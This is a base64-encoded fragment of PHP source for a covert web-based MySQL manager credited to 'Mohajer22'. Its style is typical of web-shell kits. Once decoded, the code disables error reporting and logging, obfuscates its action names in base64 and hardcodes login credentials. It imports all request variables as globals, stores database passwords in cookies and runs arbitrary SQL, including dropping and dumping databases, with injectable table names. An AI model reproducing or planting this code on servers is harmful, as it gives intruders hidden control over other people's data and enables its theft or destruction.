CQkJZWNobyAiLSBGYWlsIjsKCQl9CgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rp b249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5Mb2dzPC9hPlxuIjsKCQlpZiggJGNvbW1hbmQg PT0gImZsdXNoX2xvZ3MiICkgewoJCQlpZiggbXlzcWxfcXVlcnkoICJGbHVzaCBsb2dzIiApICE9 IGZhbHNlICkKCQkJCWVjaG8gIi0gU3VjY2VzcyI7CgkJCWVsc2UKCQkJCWVjaG8gIi0gRmFpbCI7 CgkJfQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9 Zmx1c2hfcHJpdmlsZWdlcyc+UHJpdmlsZWdlczwvYT5cbiI7CgkJaWYoICRjb21tYW5kID09ICJm bHVzaF9wcml2aWxlZ2VzIiApIHsKCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdl cyIgKSAhPSBmYWxzZSApCgkJCQllY2hvICItIFN1Y2Nlc3MiOwoJCQllbHNlCgkJCQllY2hvICIt IEZhaWwiOwoJCX0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZj b21tYW5kPWZsdXNoX3RhYmxlcyc+VGFibGVzPC9hPlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZs dXNoX3RhYmxlcyIgKSB7CgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIHRhYmxlcyIgKSAhPSBm YWxzZSApCgkJCQllY2hvICItIFN1Y2Nlc3MiOwoJCQllbHNlCgkJCQllY2hvICItIEZhaWwiOwoJ CX0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZs dXNoX3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3N0YXR1 cyIgKSB7CgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIHN0YXR1cyIgKSAhPSBmYWxzZSApCgkJ CQllY2hvICItIFN1Y2Nlc3MiOwoJCQllbHNlCgkJCQllY2hvICItIEZhaWwiOwoJCX0KCQllY2hv ICI8L3VsPlxuIjsKCX0gZWxzZSB7CgkJJHF1ZXJ5U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIg IiwgJGNvbW1hbmQgKTsKCQkkcFJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgKTsKCQlp ZiggJHBSZXN1bHQgPT0gZmFsc2UgKSB7CgkJCWVjaG8gIkZhaWwiOwoJCQlyZXR1cm47CgkJfQoJ CSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOwoKCQllY2hvICI8cCBjbGFzcz1s b2NhdGlvbj4kcXVlcnlTdHI8L3A+XG4iOwoJCWVjaG8gIjxocj5cbiI7CgoJCWVjaG8gIjx0YWJs ZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTIgYm9yZGVyPTA+XG4iOwoJCWVjaG8gIjx0cj5c biI7CgkJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsKCQkJJGZpZWxkID0gbXlzcWxf ZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOwoJCQllY2hvICI8dGg+Ii4kZmllbGQtPm5hbWUu IjwvdGg+XG4iOwoJCX0KCQllY2hvICI8L3RyPlxuIjsKCgkJd2hpbGUoIDEgKSB7CgkJCSRyb3dB cnJheSA9IG15c3FsX2ZldGNoX3JvdyggJHBSZXN1bHQgKTsKCQkJaWYoICRyb3dBcnJheSA9PSBm YWxzZSApIGJyZWFrOwoJCQllY2hvICI8dHI+XG4iOwoJCQlmb3IoICRqID0gMDsgJGogPCAkY29s OyAkaisrICkKCQkJCWVjaG8gIjx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0g KS4iPC90ZD5cbiI7CgkJCWVjaG8gIjwvdHI+XG4iOwoJCX0KCQllY2hvICI8L3RhYmxlPlxuIjsK CX0KfQoKCgpmdW5jdGlvbiBmb290ZXJfaHRtbCgpIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRk Ym5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwgJFVTRVJOQU1FOwoKCWVjaG8gIjxocj5cbiI7 CgllY2hvICJbJFVTRVJOQU1FXSAtIFxuIjsKCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0 aW9uPWJHbHpkRVJDY3c9PSc+RGF0YWJhc2UgTGlzdDwvYT4gfCBcbiI7CglpZiggJHRhYmxlbmFt ZSAhPSAiIiApCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1saXN0VGFibGVzJmRi bmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5UYWJsZSBMaXN0PC9hPiB8ICI7Cgll Y2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJz5VdGlsczwvYT4gfFxuIjsKCWVj aG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bG9nb3V0Jz5Mb2dvdXQ8L2E+XG4iOwoKCn0K CgoKCi8vLS0tLS0tLS0tLS0tLSBNQUlOIC0tLS0tLS0tLS0tLS0gLy8KZXJyb3JfcmVwb3J0aW5n KDApOwppbmlfc2V0ICgnZGlzcGxheV9lcnJvcnMnLCAwKTsKaW5pX3NldCAoJ2xvZ19lcnJvcnMn LCAwKTsKCmlmKCAkYWN0aW9uID09ICJsb2dvbiIgfHwgJGFjdGlvbiA9PSAiIiB8fCAkYWN0aW9u ID09ICJsb2dvdXQiICkKCWxvZ29uKCk7CmVsc2UgaWYoICRhY3Rpb24gPT0gImJHOW5iMjVmYzNW aWJXbDAiICkKCWxvZ29uX3N1Ym1pdCgpOwplbHNlIGlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUi IHx8ICRhY3Rpb24gPT0gImR1bXBEQiIgKSB7Cgl3aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0g ZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7CgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1p bl91c2VybmFtZSIgKSAkVVNFUk5BTUUgPSAkdmFsdWU7CgkJaWYoICR2YXIgPT0gIm15c3FsX3dl Yl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQgPSAkdmFsdWU7CgkJaWYoICR2YXIgPT0gIm15 c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9TVE5BTUUgPSAkdmFsdWU7Cgl9CgkkbXlzcWxI YW5kbGUgPSBAbXlzcWxfY29ubmVjdCggJEhPU1ROQU1FLiI6MzMwNiIsICRVU0VSTkFNRSwgJFBB U1NXT1JEICk7CglkdW1wKCk7Cn0gZWxzZSB7Cgl3aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0g ZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7CgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1p bl91c2VybmFtZSIgKSAkVVNFUk5BTUUgPSAkdmFsdWU7CgkJaWYoICR2YXIgPT0gIm15c3FsX3dl Yl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQgPSAkdmFsdWU7CgkJaWYoICR2YXIgPT0gIm15 c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9TVE5BTUUgPSAkdmFsdWU7Cgl9CgllY2hvICI8 IS0tIjsKCSRteXNxbEhhbmRsZSA9IEBteXNxbF9jb25uZWN0KCAkSE9TVE5BTUUuIjozMzA2Iiwg JFVTRVJOQU1FLCAkUEFTU1dPUkQgKTsKCWVjaG8gIi0tPiI7CgoJaWYoICRteXNxbEhhbmRsZSA9 PSBmYWxzZSApIHsKCgoJCWVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlPjx0cj48 dGQ+PGNlbnRlcj5cbiI7CgkJZWNobyAiPGgxPldyb25nIFBhc3N3b3JkITwvaDE+XG4iOwoJCWVj aG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bG9nb24nPkxvZ29uPC9hPlxuIjsKCQllY2hv ICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7CgoJfSBlbHNlIHsKCgkJaWYoICRhY3Rp b24gPT0gImJHbHpkRVJDY3c9PSIgKQoJCQlsaXN0RGF0YWJhc2VzKCk7CgkJZWxzZSBpZiggJGFj dGlvbiA9PSAiY3JlYXRlREIiICkKCQkJY3JlYXRlRGF0YWJhc2UoKTsKCQllbHNlIGlmKCAkYWN0 aW9uID09ICJkcm9wREIiICkKCQkJZHJvcERhdGFiYXNlKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9 PSAibGlzdFRhYmxlcyIgKQoJCQlsaXN0VGFibGVzKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAi Y3JlYXRlVGFibGUiICkKCQkJY3JlYXRlVGFibGUoKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJk cm9wVGFibGUiICkKCQkJZHJvcFRhYmxlKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAidmlld1Nj aGVtYSIgKQoJCQl2aWV3U2NoZW1hKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAicXVlcnkiICkK CQkJdmlld0RhdGEoICRxdWVyeVN0ciApOwoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxk IiApCgkJCW1hbmFnZUZpZWxkKCAiYWRkIiApOwoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZp ZWxkX3N1Ym1pdCIgKQoJCQltYW5hZ2VGaWVsZF9zdWJtaXQoICJhZGQiICk7CgkJZWxzZSBpZigg JGFjdGlvbiA9PSAiZWRpdEZpZWxkIiApCgkJCW1hbmFnZUZpZWxkKCAiZWRpdCIgKTsKCQllbHNl IGlmKCAkYWN0aW9uID09ICJlZGl0RmllbGRfc3VibWl0IiApCgkJCW1hbmFnZUZpZWxkX3N1Ym1p dCggImVkaXQiICk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcEZpZWxkIiApCgkJCWRyb3BG aWVsZCgpOwoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIgKQoJCQl2aWV3RGF0 YSggIiIgKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJhZGREYXRhIiApCgkJCW1hbmFnZURhdGEo ICJhZGQiICk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YV9zdWJtaXQiICkKCQkJbWFu YWdlRGF0YV9zdWJtaXQoICJhZGQiICk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdERhdGEi ICkKCQkJbWFuYWdlRGF0YSggImVkaXQiICk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdERh dGFfc3VibWl0IiApCgkJCW1hbmFnZURhdGFfc3VibWl0KCAiZWRpdCIgKTsKCQllbHNlIGlmKCAk YWN0aW9uID09ICJkZWxldGVEYXRhIiApCgkJCWRlbGV0ZURhdGEoKTsKCQllbHNlIGlmKCAkYWN0 aW9uID09ICJ1dGlscyIgKQoJCQl1dGlscygpOwoKCQlteXNxbF9jbG9zZSggJG15c3FsSGFuZGxl KTsKCQlmb290ZXJfaHRtbCgpOwoJfQp9CgoKPD8KJFBBU1NXT1JEID0gImthbGEiOwokVVNFUk5B TUUgPSAiMTIzIjsKCmlmICggZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykgKSB7Cgkkb25vZmYg PSBpbmlfZ2V0KCdyZWdpc3Rlcl9nbG9iYWxzJyk7Cn0gZWxzZSB7Cgkkb25vZmYgPSBnZXRfY2Zn X3ZhcigncmVnaXN0ZXJfZ2xvYmFscycpOwp9CmlmICgkb25vZmYgIT0gMSkgewoJQGV4dHJhY3Qo JEhUVFBfU0VSVkVSX1ZBUlMsIEVYVFJfU0tJUCk7CglAZXh0cmFjdCgkSFRUUF9DT09LSUVfVkFS UywgRVhUUl9TS0lQKTsKCUBleHRyYWN0KCRIVFRQX1BPU1RfRklMRVMsIEVYVFJfU0tJUCk7CglA ZXh0cmFjdCgkSFRUUF9QT1NUX1ZBUlMsIEVYVFJfU0tJUCk7CglAZXh0cmFjdCgkSFRUUF9HRVRf VkFSUywgRVhUUl9TS0lQKTsKCUBleHRyYWN0KCRIVFRQX0VOVl9WQVJTLCBFWFRSX1NLSVApOwp9 CgpmdW5jdGlvbiBsb2dvbigpIHsKCWdsb2JhbCAkUEhQX1NFTEY7CglzZXRjb29raWUoICJteXNx bF93ZWJfYWRtaW5fdXNlcm5hbWUiICk7CglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5fcGFz c3dvcmQiICk7CglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICk7CgllY2hv ICI8dGFibGUgd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJT48dHI+PHRkPjxjZW50ZXI+XG4iOwoJZWNo byAiPHRhYmxlIGNlbGxwYWRkaW5nPTI+PHRyPjx0ZD48Y2VudGVyPlxuIjsKCWVjaG8gIjx0YWJs ZSBjZWxscGFkZGluZz0yMD48dHI+PHRkPjxjZW50ZXI+XG4iOwoJZWNobyAiPGgxPk15U1FMIElu dGVyZmFjZSAoRGV2ZWxvcGVkIEJ5IE1vaGFqZXIyMik8L2gxPlxuIjsKCWVjaG8gIjxmb3JtIGFj dGlvbj0nJFBIUF9TRUxGJz5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rp b24gdmFsdWU9Ykc5bmIyNWZjM1ZpYldsMD5cbiI7CgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9 NSBjZWxsc3BhY2luZz0xPlxuIjsKCWVjaG8gIjx0cj48dGQ+SG9zdG5hbWUgPC90ZD48dGQ+IDxp bnB1dCB0eXBlPXRleHQgbmFtZT1ob3N0bmFtZSB2YWx1ZT0nbG9jYWxob3N0Jz48L3RkPjwvdHI+ XG4iOwoJZWNobyAiPHRyPjx0ZD5Vc2VybmFtZSA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9dGV4dCBu YW1lPXVzZXJuYW1lPjwvdGQ+PC90cj5cbiI7CgllY2hvICI8dHI+PHRkPlBhc3N3b3JkIDwvdGQ+ PHRkPiA8aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3N3b3JkPjwvdGQ+PC90cj5cbiI7Cgll Y2hvICI8L3RhYmxlPjxwPlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRW50 ZXInPlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBlPXJlc2V0IHZhbHVlPSdDbGVhcic+PGJyPlxuIjsK CWVjaG8gIjwvZm9ybT5cbiI7CgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7 CgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7CgllY2hvICI8cD48aHIgd2lk dGg9MzAwPlxuIjsKCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPlxuIjsKfQoKZnVu Y3Rpb24gbG9nb25fc3VibWl0KCkgewoJZ2xvYmFsICR1c2VybmFtZSwgJHBhc3N3b3JkLCAkaG9z dG5hbWUgLCRQSFBfU0VMRjsKCWlmKCRob3N0bmFtZSA9PScnKQoJCSRob3N0bmFtZSA9ICdsb2Nh bGhvc3QnOwoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiwgJHVzZXJuYW1l ICk7CglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5fcGFzc3dvcmQiLCAkcGFzc3dvcmQgKTsK CXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIsICRob3N0bmFtZSApOwoJZWNo byAiPE1FVEEgSFRUUC1FUVVJVj1SZWZyZXNoIENPTlRFTlQ9JzA7IFVSTD0kUEhQX1NFTEY/YWN0 aW9uPWJHbHpkRVJDY3c9PSc+IjsKCn0KCmZ1bmN0aW9uIGVjaG9RdWVyeVJlc3VsdCgpIHsKCWds b2JhbCAkcXVlcnlTdHIsICRlcnJNc2c7CgoJaWYoICRlcnJNc2cgPT0gIiIgKSAkZXJyTXNnID0g IlN1Y2Nlc3MiOwoJaWYoICRxdWVyeVN0ciAhPSAiIiApIHsKCQllY2hvICI8dGFibGUgY2VsbHBh ZGRpbmc9NT5cbiI7CgkJZWNobyAiPHRyPjx0ZD5RdWVyeTwvdGQ+PHRkPiRxdWVyeVN0cjwvdGQ+ PC90cj5cbiI7CgkJZWNobyAiPHRyPjx0ZD5SZXN1bHQ8L3RkPjx0ZD4kZXJyTXNnPC90ZD48L3Ry PlxuIjsKCQllY2hvICI8L3RhYmxlPjxwPlxuIjsKCX0KfQoKZnVuY3Rpb24gbGlzdERhdGFiYXNl cygpIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRQSFBfU0VMRjsKCgllY2hvICI8aDE+RGF0YWJh c2VzIExpc3Q8L2gxPlxuIjsKCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRic+XG4iOwoJ ZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWNyZWF0ZURCPlxuIjsK CWVjaG8gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT1kYm5hbWU+XG4iOwoJZWNobyAiPGlucHV0IHR5 cGU9c3VibWl0IHZhbHVlPSdDcmVhdGUgRGF0YWJhc2UnPlxuIjsKCWVjaG8gIjwvZm9ybT5cbiI7 CgllY2hvICI8aHI+XG4iOwoKCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5n PTU+XG4iOwoKCSRwREIgPSBteXNxbF9saXN0X2RicyggJG15c3FsSGFuZGxlICk7CgkkbnVtID0g bXlzcWxfbnVtX3Jvd3MoICRwREIgKTsKCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7 CgkJJGRibmFtZSA9IG15c3FsX2RibmFtZSggJHBEQiwgJGkgKTsKCQllY2hvICI8dHI+XG4iOwoJ CWVjaG8gIjx0ZD4kZGJuYW1lPC90ZD5cbiI7CgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VM Rj9hY3Rpb249bGlzdFRhYmxlcyZkYm5hbWU9JGRibmFtZSc+VGFibGVzPC9hPjwvdGQ+XG4iOwoJ CWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRyb3BEQiZkYm5hbWU9JGRibmFt ZScgb25DbGljaz1cInJldHVybiBjb25maXJtKCdEcm9wIERhdGFiYXNlIFwnJGRibmFtZVwnPycp XCI+RHJvcDwvYT48L3RkPlxuIjsKCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlv bj1kdW1wREImZGJuYW1lPSRkYm5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHVtcCBE YXRhYmFzZSBcJyRkYm5hbWVcJz8nKVwiPkR1bXA8L2E+PC90ZD5cbiI7CgkJZWNobyAiPC90cj5c biI7Cgl9CgllY2hvICI8L3RhYmxlPlxuIjsKfQoKZnVuY3Rpb24gY3JlYXRlRGF0YWJhc2UoKSB7 CglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7CgoJbXlzcWxfY3JlYXRl X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsKCWxpc3REYXRhYmFzZXMoKTsKfQoKZnVuY3Rp b24gZHJvcERhdGFiYXNlKCkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9T RUxGOwoKCW15c3FsX2Ryb3BfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOwoJbGlzdERhdGFi YXNlcygpOwp9CgpmdW5jdGlvbiBsaXN0VGFibGVzKCkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwg JGRibmFtZSwgJFBIUF9TRUxGOwoKCgllY2hvICI8aDE+VGFibGVzIExpc3Q8L2gxPlxuIjsKCWVj aG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWU8L3A+XG4iOwoJZWNob1F1ZXJ5UmVzdWx0KCk7 CgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRic+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9 aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWNyZWF0ZVRhYmxlPlxuIjsKCWVjaG8gIjxpbnB1dCB0 eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsKCWVjaG8gIjxpbnB1dCB0 eXBlPXRleHQgbmFtZT10YWJsZW5hbWU+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZh bHVlPSdDcmVhdGUgVGFibGUnPlxuIjsKCWVjaG8gIjwvZm9ybT5cbiI7CgllY2hvICI8Zm9ybSBh Y3Rpb249JyRQSFBfU0VMRic+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0 aW9uIHZhbHVlPXF1ZXJ5PlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFt ZSB2YWx1ZT0kZGJuYW1lPlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBlPXRleHQgc2l6ZT0xMjAgbmFt ZT1xdWVyeVN0cj5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J1F1ZXJ5Jz5c biI7CgllY2hvICI8L2Zvcm0+XG4iOwoJZWNobyAiPGhyPlxuIjsKCgkkcFRhYmxlID0gbXlzcWxf bGlzdF90YWJsZXMoICRkYm5hbWUgKTsKCglpZiggJHBUYWJsZSA9PSAwICkgewoJCSRtc2cgID0g bXlzcWxfZXJyb3IoKTsKCQllY2hvICI8aDM+RXJyb3IgOiAkbXNnPC9oMz48cD5cbiI7CgkJcmV0 dXJuOwoJfQoJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFRhYmxlICk7CgoJZWNobyAiPHRhYmxl IGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7CgoJZm9yKCAkaSA9IDA7ICRpIDwgJG51 bTsgJGkrKyApIHsKCQkkdGFibGVuYW1lID0gbXlzcWxfdGFibGVuYW1lKCAkcFRhYmxlLCAkaSAp OwoKCQllY2hvICI8dHI+XG4iOwoJCWVjaG8gIjx0ZD5cbiI7CgkJZWNobyAiJHRhYmxlbmFtZVxu IjsKCQllY2hvICI8L3RkPlxuIjsKCQllY2hvICI8dGQ+XG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQ SFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxl bmFtZSc+U2NoZW1hPC9hPlxuIjsKCQllY2hvICI8L3RkPlxuIjsKCQllY2hvICI8dGQ+XG4iOwoJ CWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJu YW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5EYXRhPC9hPlxuIjsKCQllY2hvICI8L3RkPlxuIjsK CQllY2hvICI8dGQ+XG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcFRh YmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJu IGNvbmZpcm0oJ0Ryb3AgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5Ecm9wPC9hPlxuIjsKCQll Y2hvICI8L3RkPlxuIjsKCQllY2hvICI8dGQ+XG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VM Rj9hY3Rpb249ZHVtcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBv bkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0R1bXAgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5E dW1wPC9hPlxuIjsKCQllY2hvICI8L3RkPlxuIjsKCQllY2hvICI8L3RyPlxuIjsKCX0KCgllY2hv ICI8L3RhYmxlPiI7Cn0KCmZ1bmN0aW9uIGNyZWF0ZVRhYmxlKCkgewoJZ2xvYmFsICRteXNxbEhh bmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7 CgoJJHF1ZXJ5U3RyID0gIkNSRUFURSBUQUJMRSAkdGFibGVuYW1lICggbm8gSU5UICkiOwoJbXlz cWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsKCW15c3FsX3F1ZXJ5KCAkcXVl cnlTdHIsICRteXNxbEhhbmRsZSApOwoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7CgoJbGlzdFRh YmxlcygpOwp9CgpmdW5jdGlvbiBkcm9wVGFibGUoKSB7CglnbG9iYWwgJG15c3FsSGFuZGxlLCAk ZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsKCgkkcXVl cnlTdHIgPSAiRFJPUCBUQUJMRSAkdGFibGVuYW1lIjsKCW15c3FsX3NlbGVjdF9kYiggJGRibmFt ZSwgJG15c3FsSGFuZGxlICk7CglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUg KTsKCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOwoKCWxpc3RUYWJsZXMoKTsKfQoKZnVuY3Rpb24g dmlld1NjaGVtYSgpIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUs ICRQSFBfU0VMRiwgJHF1ZXJ5U3RyLCAkZXJyTXNnOwoKCWVjaG8gIjxoMT5UYWJsZSBTY2hlbWE8 L2gxPlxuIjsKCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1l PC9wPlxuIjsKCgllY2hvUXVlcnlSZXN1bHQoKTsKCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/ YWN0aW9uPWFkZEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQg RmllbGQ8L2E+IHwgXG4iOwoJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBS aGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUnPlZpZXcgRGF0YTwvYT5c biI7CgllY2hvICI8aHI+XG4iOwoKCSRwUmVzdWx0ID0gbXlzcWxfZGJfcXVlcnkoICRkYm5hbWUs ICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5hbWUiICk7CgkkbnVtID0gbXlzcWxfbnVtX3Jvd3Mo ICRwUmVzdWx0ICk7CgoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5c biI7CgllY2hvICI8dHI+XG4iOwoJZWNobyAiPHRoPkZpZWxkPC90aD5cbiI7CgllY2hvICI8dGg+ VHlwZTwvdGg+XG4iOwoJZWNobyAiPHRoPk51bGw8L3RoPlxuIjsKCWVjaG8gIjx0aD5LZXk8L3Ro PlxuIjsKCWVjaG8gIjx0aD5EZWZhdWx0PC90aD5cbiI7CgllY2hvICI8dGg+RXh0cmE8L3RoPlxu IjsKCWVjaG8gIjx0aCBjb2xzcGFuPTI+QWN0aW9uPC90aD5cbiI7CgllY2hvICI8L3RyPlxuIjsK CgoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsKCQkkZmllbGQgPSBteXNxbF9mZXRj aF9hcnJheSggJHBSZXN1bHQgKTsKCQllY2hvICI8dHI+XG4iOwoJCWVjaG8gIjx0ZD4iLiRmaWVs ZFsiRmllbGQiXS4iPC90ZD5cbiI7CgkJZWNobyAiPHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+ XG4iOwoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiTnVsbCJdLiI8L3RkPlxuIjsKCQllY2hvICI8dGQ+ Ii4kZmllbGRbIktleSJdLiI8L3RkPlxuIjsKCQllY2hvICI8dGQ+Ii4kZmllbGRbIkRlZmF1bHQi XS4iPC90ZD5cbiI7CgkJZWNobyAiPHRkPiIuJGZpZWxkWyJFeHRyYSJdLiI8L3RkPlxuIjsKCQkk ZmllbGRuYW1lID0gJGZpZWxkWyJGaWVsZCJdOwoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NF TEY/YWN0aW9uPWVkaXRGaWVsZCZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZm 